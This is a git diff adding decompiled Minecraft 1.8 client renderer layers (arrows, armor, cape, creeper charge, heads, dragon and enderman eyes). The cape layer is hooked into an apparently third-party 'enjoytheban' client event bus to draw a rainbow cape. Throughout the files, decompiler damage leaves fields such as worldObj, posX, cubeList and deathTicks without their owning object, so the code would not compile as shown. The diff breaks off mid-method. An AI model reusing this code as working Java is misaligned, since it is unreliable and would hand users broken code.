+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerArrow.java
@@ -0,0 +1,70 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.client.model.ModelBox;
+import net.minecraft.client.model.ModelRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.entity.RendererLivingEntity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.projectile.EntityArrow;
+
+public class LayerArrow implements LayerRenderer
+{
+  private final RendererLivingEntity field_177168_a;
+  private static final String __OBFID = "CL_00002426";
+  
+  public LayerArrow(RendererLivingEntity p_i46124_1_)
+  {
+    field_177168_a = p_i46124_1_;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    int var9 = p_177141_1_.getArrowCountInEntity();
+    
+    if (var9 > 0)
+    {
+      EntityArrow var10 = new EntityArrow(worldObj, posX, posY, posZ);
+      Random var11 = new Random(p_177141_1_.getEntityId());
+      RenderHelper.disableStandardItemLighting();
+      
+      for (int var12 = 0; var12 < var9; var12++)
+      {
+        GlStateManager.pushMatrix();
+        ModelRenderer var13 = field_177168_a.getMainModel().getRandomModelBox(var11);
+        ModelBox var14 = (ModelBox)cubeList.get(var11.nextInt(cubeList.size()));
+        var13.postRender(0.0625F);
+        float var15 = var11.nextFloat();
+        float var16 = var11.nextFloat();
+        float var17 = var11.nextFloat();
+        float var18 = (posX1 + (posX2 - posX1) * var15) / 16.0F;
+        float var19 = (posY1 + (posY2 - posY1) * var16) / 16.0F;
+        float var20 = (posZ1 + (posZ2 - posZ1) * var17) / 16.0F;
+        GlStateManager.translate(var18, var19, var20);
+        var15 = var15 * 2.0F - 1.0F;
+        var16 = var16 * 2.0F - 1.0F;
+        var17 = var17 * 2.0F - 1.0F;
+        var15 *= -1.0F;
+        var16 *= -1.0F;
+        var17 *= -1.0F;
+        float var21 = net.minecraft.util.MathHelper.sqrt_float(var15 * var15 + var17 * var17);
+        prevRotationYaw = (var10.rotationYaw = (float)(Math.atan2(var15, var17) * 180.0D / 3.141592653589793D));
+        prevRotationPitch = (var10.rotationPitch = (float)(Math.atan2(var16, var21) * 180.0D / 3.141592653589793D));
+        double var22 = 0.0D;
+        double var24 = 0.0D;
+        double var26 = 0.0D;
+        field_177168_a.func_177068_d().renderEntityWithPosYaw(var10, var22, var24, var26, 0.0F, p_177141_4_);
+        GlStateManager.popMatrix();
+      }
+      
+      RenderHelper.enableStandardItemLighting();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerBipedArmor.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerBipedArmor.java
new file mode 100644
index 0000000..dd0ca19
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerBipedArmor.java
@@ -0,0 +1,60 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelBiped;
+import net.minecraft.client.renderer.entity.RendererLivingEntity;
+
+public class LayerBipedArmor extends LayerArmorBase
+{
+  private static final String __OBFID = "CL_00002417";
+  
+  public LayerBipedArmor(RendererLivingEntity p_i46116_1_)
+  {
+    super(p_i46116_1_);
+  }
+  
+  protected void func_177177_a()
+  {
+    field_177189_c = new ModelBiped(0.5F);
+    field_177186_d = new ModelBiped(1.0F);
+  }
+  
+  protected void func_177195_a(ModelBiped p_177195_1_, int p_177195_2_)
+  {
+    func_177194_a(p_177195_1_);
+    
+    switch (p_177195_2_)
+    {
+    case 1: 
+      bipedRightLeg.showModel = true;
+      bipedLeftLeg.showModel = true;
+      break;
+    
+    case 2: 
+      bipedBody.showModel = true;
+      bipedRightLeg.showModel = true;
+      bipedLeftLeg.showModel = true;
+      break;
+    
+    case 3: 
+      bipedBody.showModel = true;
+      bipedRightArm.showModel = true;
+      bipedLeftArm.showModel = true;
+      break;
+    
+    case 4: 
+      bipedHead.showModel = true;
+      bipedHeadwear.showModel = true;
+    }
+  }
+  
+  protected void func_177194_a(ModelBiped p_177194_1_)
+  {
+    p_177194_1_.func_178719_a(false);
+  }
+  
+  protected void func_177179_a(ModelBase p_177179_1_, int p_177179_2_)
+  {
+    func_177195_a((ModelBiped)p_177179_1_, p_177179_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerCape.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerCape.java
new file mode 100644
index 0000000..201a888
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerCape.java
@@ -0,0 +1,134 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.events.rendering.EventRenderCape;
+import java.awt.Color;
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.model.ModelPlayer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.RenderPlayer;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EnumPlayerModelParts;
+import net.minecraft.util.MathHelper;
+
+public class LayerCape implements LayerRenderer
+{
+  private final RenderPlayer playerRenderer;
+  private static final String __OBFID = "CL_00002425";
+  
+  public LayerCape(RenderPlayer p_i46123_1_)
+  {
+    playerRenderer = p_i46123_1_;
+  }
+  
+
+  public void doRenderLayer(AbstractClientPlayer p_177166_1_, float p_177166_2_, float p_177166_3_, float p_177166_4_, float p_177166_5_, float p_177166_6_, float p_177166_7_, float p_177166_8_)
+  {
+    EventRenderCape event = new EventRenderCape(p_177166_1_.getLocationCape(), p_177166_1_);
+    EventBus.getInstance().call(event);
+    if ((p_177166_1_.getLocationCape() != event.getLocation()) && (event.getLocation() != null) && 
+      (p_177166_1_.func_175148_a(EnumPlayerModelParts.CAPE))) {
+      Color color = com.enjoytheban.utils.render.ColorUtils.rainbow(0L, 1.0F);
+      GlStateManager.color(color.getRed() / 255.0F, color.getGreen() / 255.0F, color.getBlue() / 255.0F, 1.0F);
+      playerRenderer.bindTexture(event.getLocation());
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(0.0F, 0.0F, 0.125F);
+      double var9 = field_71091_bM + 
+        (field_71094_bP - field_71091_bM) * p_177166_4_ - (
+        prevPosX + (posX - prevPosX) * p_177166_4_);
+      double var10 = field_71096_bN + 
+        (field_71095_bQ - field_71096_bN) * p_177166_4_ - (
+        prevPosY + (posY - prevPosY) * p_177166_4_);
+      double var11 = field_71097_bO + 
+        (field_71085_bR - field_71097_bO) * p_177166_4_ - (
+        prevPosZ + (posZ - prevPosZ) * p_177166_4_);
+      float var12 = prevRenderYawOffset + 
+        (renderYawOffset - prevRenderYawOffset) * p_177166_4_;
+      double var13 = MathHelper.sin(var12 * 3.1415927F / 180.0F);
+      double var14 = -MathHelper.cos(var12 * 3.1415927F / 180.0F);
+      float var15 = (float)var10 * 10.0F;
+      var15 = MathHelper.clamp_float(var15, -6.0F, 32.0F);
+      float var16 = (float)(var9 * var13 + var11 * var14) * 100.0F;
+      float var17 = (float)(var9 * var14 - var11 * var13) * 100.0F;
+      if (var16 < 0.0F) {
+        var16 = 0.0F;
+      }
+      if (var16 > 165.0F) {
+        var16 = 165.0F;
+      }
+      float var18 = prevCameraYaw + 
+        (cameraYaw - prevCameraYaw) * p_177166_4_;
+      var15 += MathHelper.sin((prevDistanceWalkedModified + 
+        (distanceWalkedModified - prevDistanceWalkedModified) * p_177166_4_) * 
+        6.0F) * 32.0F * var18;
+      if (p_177166_1_.isSneaking()) {
+        var15 += 25.0F;
+        GlStateManager.translate(0.0F, 0.142F, -0.0178F);
+      }
+      GlStateManager.rotate(6.0F + var16 / 2.0F + var15, 1.0F, 0.0F, 0.0F);
+      GlStateManager.rotate(var17 / 2.0F, 0.0F, 0.0F, 1.0F);
+      GlStateManager.rotate(-var17 / 2.0F, 0.0F, 1.0F, 0.0F);
+      GlStateManager.rotate(180.0F, 0.0F, 1.0F, 0.0F);
+      playerRenderer.func_177136_g().func_178728_c(0.0625F);
+      GlStateManager.popMatrix();
+    }
+    if (event.isCancelled()) {
+      return;
+    }
+    if ((p_177166_1_.hasCape()) && (!p_177166_1_.isInvisible()) && (p_177166_1_.func_175148_a(EnumPlayerModelParts.CAPE)) && 
+      (p_177166_1_.getLocationCape() != null)) {
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      playerRenderer.bindTexture(p_177166_1_.getLocationCape());
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(0.0F, 0.0F, 0.125F);
+      double var19 = field_71091_bM + 
+        (field_71094_bP - field_71091_bM) * p_177166_4_ - (
+        prevPosX + (posX - prevPosX) * p_177166_4_);
+      double var20 = field_71096_bN + 
+        (field_71095_bQ - field_71096_bN) * p_177166_4_ - (
+        prevPosY + (posY - prevPosY) * p_177166_4_);
+      double var21 = field_71097_bO + 
+        (field_71085_bR - field_71097_bO) * p_177166_4_ - (
+        prevPosZ + (posZ - prevPosZ) * p_177166_4_);
+      float var22 = prevRenderYawOffset + 
+        (renderYawOffset - prevRenderYawOffset) * p_177166_4_;
+      double var23 = MathHelper.sin(var22 * 3.1415927F / 180.0F);
+      double var24 = -MathHelper.cos(var22 * 3.1415927F / 180.0F);
+      float var25 = (float)var20 * 10.0F;
+      var25 = MathHelper.clamp_float(var25, -6.0F, 32.0F);
+      float var26 = (float)(var19 * var23 + var21 * var24) * 100.0F;
+      float var27 = (float)(var19 * var24 - var21 * var23) * 100.0F;
+      if (var26 < 0.0F) {
+        var26 = 0.0F;
+      }
+      if (var26 > 165.0F) {
+        var26 = 165.0F;
+      }
+      float var28 = prevCameraYaw + 
+        (cameraYaw - prevCameraYaw) * p_177166_4_;
+      var25 += MathHelper.sin((prevDistanceWalkedModified + 
+        (distanceWalkedModified - prevDistanceWalkedModified) * p_177166_4_) * 
+        6.0F) * 32.0F * var28;
+      if (p_177166_1_.isSneaking()) {
+        var25 += 25.0F;
+        GlStateManager.translate(0.0F, 0.142F, -0.0178F);
+      }
+      GlStateManager.rotate(6.0F + var26 / 2.0F + var25, 1.0F, 0.0F, 0.0F);
+      GlStateManager.rotate(var27 / 2.0F, 0.0F, 0.0F, 1.0F);
+      GlStateManager.rotate(-var27 / 2.0F, 0.0F, 1.0F, 0.0F);
+      GlStateManager.rotate(180.0F, 0.0F, 1.0F, 0.0F);
+      playerRenderer.func_177136_g().func_178728_c(0.0625F);
+      GlStateManager.popMatrix();
+    }
+  }
+  
+  public boolean shouldCombineTextures() {
+    return false;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    doRenderLayer((AbstractClientPlayer)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, 
+      p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerCreeperCharge.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerCreeperCharge.java
new file mode 100644
index 0000000..5ef8c68
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerCreeperCharge.java
@@ -0,0 +1,57 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.model.ModelCreeper;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.RenderCreeper;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityCreeper;
+import net.minecraft.util.ResourceLocation;
+
+public class LayerCreeperCharge implements LayerRenderer
+{
+  private static final ResourceLocation LIGHTNING_TEXTURE = new ResourceLocation("textures/entity/creeper/creeper_armor.png");
+  private final RenderCreeper creeperRenderer;
+  private final ModelCreeper creeperModel = new ModelCreeper(2.0F);
+  private static final String __OBFID = "CL_00002423";
+  
+  public LayerCreeperCharge(RenderCreeper p_i46121_1_)
+  {
+    creeperRenderer = p_i46121_1_;
+  }
+  
+  public void doRenderLayer(EntityCreeper p_177169_1_, float p_177169_2_, float p_177169_3_, float p_177169_4_, float p_177169_5_, float p_177169_6_, float p_177169_7_, float p_177169_8_)
+  {
+    if (p_177169_1_.getPowered())
+    {
+      GlStateManager.depthMask(!p_177169_1_.isInvisible());
+      creeperRenderer.bindTexture(LIGHTNING_TEXTURE);
+      GlStateManager.matrixMode(5890);
+      GlStateManager.loadIdentity();
+      float var9 = ticksExisted + p_177169_4_;
+      GlStateManager.translate(var9 * 0.01F, var9 * 0.01F, 0.0F);
+      GlStateManager.matrixMode(5888);
+      GlStateManager.enableBlend();
+      float var10 = 0.5F;
+      GlStateManager.color(var10, var10, var10, 1.0F);
+      GlStateManager.disableLighting();
+      GlStateManager.blendFunc(1, 1);
+      creeperModel.setModelAttributes(creeperRenderer.getMainModel());
+      creeperModel.render(p_177169_1_, p_177169_2_, p_177169_3_, p_177169_5_, p_177169_6_, p_177169_7_, p_177169_8_);
+      GlStateManager.matrixMode(5890);
+      GlStateManager.loadIdentity();
+      GlStateManager.matrixMode(5888);
+      GlStateManager.enableLighting();
+      GlStateManager.disableBlend();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    doRenderLayer((EntityCreeper)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerCustomHead.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerCustomHead.java
new file mode 100644
index 0000000..bb67ab6
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerCustomHead.java
@@ -0,0 +1,113 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import com.mojang.authlib.GameProfile;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.model.ModelRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.ItemRenderer;
+import net.minecraft.client.renderer.block.model.ItemCameraTransforms.TransformType;
+import net.minecraft.client.renderer.tileentity.TileEntitySkullRenderer;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityZombie;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemBlock;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTUtil;
+import net.minecraft.tileentity.TileEntitySkull;
+import net.minecraft.util.EnumFacing;
+
+public class LayerCustomHead implements LayerRenderer
+{
+  private final ModelRenderer field_177209_a;
+  private static final String __OBFID = "CL_00002422";
+  
+  public LayerCustomHead(ModelRenderer p_i46120_1_)
+  {
+    field_177209_a = p_i46120_1_;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    ItemStack var9 = p_177141_1_.getCurrentArmor(3);
+    
+    if ((var9 != null) && (var9.getItem() != null))
+    {
+      Item var10 = var9.getItem();
+      Minecraft var11 = Minecraft.getMinecraft();
+      GlStateManager.pushMatrix();
+      
+      if (p_177141_1_.isSneaking())
+      {
+        GlStateManager.translate(0.0F, 0.2F, 0.0F);
+      }
+      
+      boolean var12 = ((p_177141_1_ instanceof EntityVillager)) || (((p_177141_1_ instanceof EntityZombie)) && (((EntityZombie)p_177141_1_).isVillager()));
+      
+
+      if ((!var12) && (p_177141_1_.isChild()))
+      {
+        float var13 = 2.0F;
+        float var14 = 1.4F;
+        GlStateManager.scale(var14 / var13, var14 / var13, var14 / var13);
+        GlStateManager.translate(0.0F, 16.0F * p_177141_8_, 0.0F);
+      }
+      
+      field_177209_a.postRender(0.0625F);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      
+      if ((var10 instanceof ItemBlock))
+      {
+        float var13 = 0.625F;
+        GlStateManager.translate(0.0F, -0.25F, 0.0F);
+        GlStateManager.rotate(180.0F, 0.0F, 1.0F, 0.0F);
+        GlStateManager.scale(var13, -var13, -var13);
+        
+        if (var12)
+        {
+          GlStateManager.translate(0.0F, 0.1875F, 0.0F);
+        }
+        
+        var11.getItemRenderer().renderItem(p_177141_1_, var9, ItemCameraTransforms.TransformType.HEAD);
+      }
+      else if (var10 == Items.skull)
+      {
+        float var13 = 1.1875F;
+        GlStateManager.scale(var13, -var13, -var13);
+        
+        if (var12)
+        {
+          GlStateManager.translate(0.0F, 0.0625F, 0.0F);
+        }
+        
+        GameProfile var16 = null;
+        
+        if (var9.hasTagCompound())
+        {
+          NBTTagCompound var15 = var9.getTagCompound();
+          
+          if (var15.hasKey("SkullOwner", 10))
+          {
+            var16 = NBTUtil.readGameProfileFromNBT(var15.getCompoundTag("SkullOwner"));
+          }
+          else if (var15.hasKey("SkullOwner", 8))
+          {
+            var16 = TileEntitySkull.updateGameprofile(new GameProfile(null, var15.getString("SkullOwner")));
+            var15.setTag("SkullOwner", NBTUtil.writeGameProfile(new NBTTagCompound(), var16));
+          }
+        }
+        
+        TileEntitySkullRenderer.instance.renderSkull(-0.5F, 0.0F, -0.5F, EnumFacing.UP, 180.0F, var9.getMetadata(), var16, -1);
+      }
+      
+      GlStateManager.popMatrix();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerDeadmau5Head.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerDeadmau5Head.java
new file mode 100644
index 0000000..dad3efc
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerDeadmau5Head.java
@@ -0,0 +1,52 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.RenderPlayer;
+import net.minecraft.entity.EntityLivingBase;
+
+public class LayerDeadmau5Head implements LayerRenderer
+{
+  private final RenderPlayer field_177208_a;
+  private static final String __OBFID = "CL_00002421";
+  
+  public LayerDeadmau5Head(RenderPlayer p_i46119_1_)
+  {
+    field_177208_a = p_i46119_1_;
+  }
+  
+  public void func_177207_a(AbstractClientPlayer p_177207_1_, float p_177207_2_, float p_177207_3_, float p_177207_4_, float p_177207_5_, float p_177207_6_, float p_177207_7_, float p_177207_8_)
+  {
+    if ((p_177207_1_.getName().equals("deadmau5")) && (p_177207_1_.hasSkin()) && (!p_177207_1_.isInvisible()))
+    {
+      field_177208_a.bindTexture(p_177207_1_.getLocationSkin());
+      
+      for (int var9 = 0; var9 < 2; var9++)
+      {
+        float var10 = prevRotationYaw + (rotationYaw - prevRotationYaw) * p_177207_4_ - (prevRenderYawOffset + (renderYawOffset - prevRenderYawOffset) * p_177207_4_);
+        float var11 = prevRotationPitch + (rotationPitch - prevRotationPitch) * p_177207_4_;
+        GlStateManager.pushMatrix();
+        GlStateManager.rotate(var10, 0.0F, 1.0F, 0.0F);
+        GlStateManager.rotate(var11, 1.0F, 0.0F, 0.0F);
+        GlStateManager.translate(0.375F * (var9 * 2 - 1), 0.0F, 0.0F);
+        GlStateManager.translate(0.0F, -0.375F, 0.0F);
+        GlStateManager.rotate(-var11, 1.0F, 0.0F, 0.0F);
+        GlStateManager.rotate(-var10, 0.0F, 1.0F, 0.0F);
+        float var12 = 1.3333334F;
+        GlStateManager.scale(var12, var12, var12);
+        field_177208_a.func_177136_g().func_178727_b(0.0625F);
+        GlStateManager.popMatrix();
+      }
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return true;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177207_a((AbstractClientPlayer)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerEnderDragonDeath.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerEnderDragonDeath.java
new file mode 100644
index 0000000..77554b8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerEnderDragonDeath.java
@@ -0,0 +1,83 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import java.util.Random;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.boss.EntityDragon;
+
+public class LayerEnderDragonDeath implements LayerRenderer
+{
+  private static final String __OBFID = "CL_00002420";
+  
+  public LayerEnderDragonDeath() {}
+  
+  public void func_177213_a(EntityDragon p_177213_1_, float p_177213_2_, float p_177213_3_, float p_177213_4_, float p_177213_5_, float p_177213_6_, float p_177213_7_, float p_177213_8_)
+  {
+    if (deathTicks > 0)
+    {
+      Tessellator var9 = Tessellator.getInstance();
+      WorldRenderer var10 = var9.getWorldRenderer();
+      net.minecraft.client.renderer.RenderHelper.disableStandardItemLighting();
+      float var11 = (deathTicks + p_177213_4_) / 200.0F;
+      float var12 = 0.0F;
+      
+      if (var11 > 0.8F)
+      {
+        var12 = (var11 - 0.8F) / 0.2F;
+      }
+      
+      Random var13 = new Random(432L);
+      GlStateManager.func_179090_x();
+      GlStateManager.shadeModel(7425);
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 1);
+      GlStateManager.disableAlpha();
+      GlStateManager.enableCull();
+      GlStateManager.depthMask(false);
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(0.0F, -1.0F, -2.0F);
+      
+      for (int var14 = 0; var14 < (var11 + var11 * var11) / 2.0F * 60.0F; var14++)
+      {
+        GlStateManager.rotate(var13.nextFloat() * 360.0F, 1.0F, 0.0F, 0.0F);
+        GlStateManager.rotate(var13.nextFloat() * 360.0F, 0.0F, 1.0F, 0.0F);
+        GlStateManager.rotate(var13.nextFloat() * 360.0F, 0.0F, 0.0F, 1.0F);
+        GlStateManager.rotate(var13.nextFloat() * 360.0F, 1.0F, 0.0F, 0.0F);
+        GlStateManager.rotate(var13.nextFloat() * 360.0F, 0.0F, 1.0F, 0.0F);
+        GlStateManager.rotate(var13.nextFloat() * 360.0F + var11 * 90.0F, 0.0F, 0.0F, 1.0F);
+        var10.startDrawing(6);
+        float var15 = var13.nextFloat() * 20.0F + 5.0F + var12 * 10.0F;
+        float var16 = var13.nextFloat() * 2.0F + 1.0F + var12 * 2.0F;
+        var10.func_178974_a(16777215, (int)(255.0F * (1.0F - var12)));
+        var10.addVertex(0.0D, 0.0D, 0.0D);
+        var10.func_178974_a(16711935, 0);
+        var10.addVertex(-0.866D * var16, var15, -0.5F * var16);
+        var10.addVertex(0.866D * var16, var15, -0.5F * var16);
+        var10.addVertex(0.0D, var15, 1.0F * var16);
+        var10.addVertex(-0.866D * var16, var15, -0.5F * var16);
+        var9.draw();
+      }
+      
+      GlStateManager.popMatrix();
+      GlStateManager.depthMask(true);
+      GlStateManager.disableCull();
+      GlStateManager.disableBlend();
+      GlStateManager.shadeModel(7424);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.func_179098_w();
+      GlStateManager.enableAlpha();
+      net.minecraft.client.renderer.RenderHelper.enableStandardItemLighting();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
+  public void doRenderLayer(net.minecraft.entity.EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177213_a((EntityDragon)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes.java
new file mode 100644
index 0000000..f99b238
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes.java
@@ -0,0 +1,59 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.entity.RenderDragon;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.boss.EntityDragon;
+import net.minecraft.util.ResourceLocation;
+import shadersmod.client.Shaders;
+
+public class LayerEnderDragonEyes implements LayerRenderer
+{
+  private static final ResourceLocation TEXTURE = new ResourceLocation("textures/entity/enderdragon/dragon_eyes.png");
+  private final RenderDragon dragonRenderer;
+  private static final String __OBFID = "CL_00002419";
+  
+  public LayerEnderDragonEyes(RenderDragon p_i46118_1_)
+  {
+    dragonRenderer = p_i46118_1_;
+  }
+  
+  public void func_177210_a(EntityDragon p_177210_1_, float p_177210_2_, float p_177210_3_, float p_177210_4_, float p_177210_5_, float p_177210_6_, float p_177210_7_, float p_177210_8_)
+  {
+    dragonRenderer.bindTexture(TEXTURE);
+    GlStateManager.enableBlend();
+    GlStateManager.disableAlpha();
+    GlStateManager.blendFunc(1, 1);
+    GlStateManager.disableLighting();
+    GlStateManager.depthFunc(514);
+    char var9 = 61680;
+    int var10 = var9 % 65536;
+    int var11 = var9 / 65536;
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var10 / 1.0F, var11 / 1.0F);
+    GlStateManager.enableLighting();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    
+    if (optifine.Config.isShaders())
+    {
+      Shaders.beginSpiderEyes();
+    }
+    
+    dragonRenderer.getMainModel().render(p_177210_1_, p_177210_2_, p_177210_3_, p_177210_5_, p_177210_6_, p_177210_7_, p_177210_8_);
+    dragonRenderer.func_177105_a(p_177210_1_, p_177210_4_);
+    GlStateManager.disableBlend();
+    GlStateManager.enableAlpha();
+    GlStateManager.depthFunc(515);
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177210_a((EntityDragon)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerEndermanEyes.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerEndermanEyes.java
new file mode 100644
index 0000000..65dbeb8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerEndermanEyes.java
@@ -0,0 +1,67 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.entity.RenderEnderman;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityEnderman;
+import net.minecraft.util.ResourceLocation;
+import shadersmod.client.Shaders;
+
+public class LayerEndermanEyes implements LayerRenderer
+{
+  private static final ResourceLocation field_177203_a = new ResourceLocation("textures/entity/enderman/enderman_eyes.png");
+  private final RenderEnderman field_177202_b;
+  private static final String __OBFID = "CL_00002418";
+  
+  public LayerEndermanEyes(RenderEnderman p_i46117_1_)
+  {
+    field_177202_b = p_i46117_1_;
+  }
+  
+  public void func_177201_a(EntityEnderman p_177201_1_, float p_177201_2_, float p_177201_3_, float p_177201_4_, float p_177201_5_, float p_177201_6_, float p_177201_7_, float p_177201_8_)
+  {
+    field_177202_b.bindTexture(field_177203_a);
+    GlStateManager.enableBlend();
+    GlStateManager.disableAlpha();
+    GlStateManager.blendFunc(1, 1);
+    GlStateManager.disableLighting();
+    
+    if (p_177201_1_.isInvisible())
+    {
+      GlStateManager.depthMask(false);
+    }
+    else
+    {
+      GlStateManager.depthMask(true);
+    }
+    
+    char var9 = 61680;
+    int var10 = var9 % 65536;
+    int var11 = var9 / 65536;
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var10 / 1.0F, var11 / 1.0F);
+    GlStateManager.enableLighting();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    
+    if (optifine.Config.isShaders())
+    {
+      Shaders.beginSpiderEyes();
+    }
+    
+    field_177202_b.getMainModel().render(p_177201_1_, p_177201_2_, p_177201_3_, p_177201_5_, p_177201_6_, p_177201_7_, p_177201_8_);
+    field_177202_b.func_177105_a(p_177201_1_, p_177201_4_);
+    GlStateManager.disableBlend();
+    GlStateManager.enableAlpha();
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
